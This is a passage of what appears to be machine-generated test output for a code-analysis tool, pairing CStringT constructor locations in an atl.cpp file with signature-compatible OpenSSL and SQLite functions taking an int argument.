atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const 